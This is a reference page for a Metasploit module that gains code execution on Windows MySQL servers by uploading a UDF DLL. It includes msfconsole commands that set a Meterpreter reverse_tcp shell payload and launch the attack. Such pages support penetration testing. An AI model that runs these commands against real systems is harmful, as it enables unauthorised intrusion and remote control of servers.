Oracle MySQL for Microsoft Windows Payload Execution | Metasploit Exploit Database (DB)

Oracle MySQL for Microsoft Windows Payload Execution

This module creates and enables a custom UDF (user defined function) on the target host via the SELECT ... into DUMPFILE method of binary injection. On default Microsoft Windows installations of MySQL (=< 5.5.9), directory write permissions not enforced, and the MySQL service runs as LocalSystem. NOTE: This module will leave a payload executable on the target system when the attack is finished, as well as the UDF DLL, and will define or redefine sys_eval() and sys_exec() functions.

Search Other Modules


Exploit Rank

  • Excellent

Exploit Authors

  • Bernardo Damele A. G. < bernardo.damele [at] gmail.com >
  • todb < todb [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Automatic (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/mysql/mysql_payload
msf exploit(mysql_payload) > show payloads
msf exploit(mysql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mysql_payload) > set LHOST [MY IP ADDRESS]
msf exploit(mysql_payload) > set RHOST [TARGET IP]
msf exploit(mysql_payload) > exploit


Exploit Module Options

FORCE_UDF_UPLOAD Always attempt to install a sys_exec() mysql.function.
PASSWORD The password for the specified username
RHOST The target address
RPORT The target port (default: 3306)
USERNAME The username to authenticate as (default: root)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DECODERSTUB The VBS base64 file decoder stub to use.
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)